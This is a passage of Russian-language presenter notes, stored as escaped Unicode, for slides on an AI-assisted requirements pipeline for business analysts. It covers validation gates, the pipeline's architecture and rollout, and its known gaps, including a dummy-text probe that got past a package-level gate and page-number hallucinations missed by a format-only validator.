\u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 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\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e 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\u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e 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\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f 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\u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 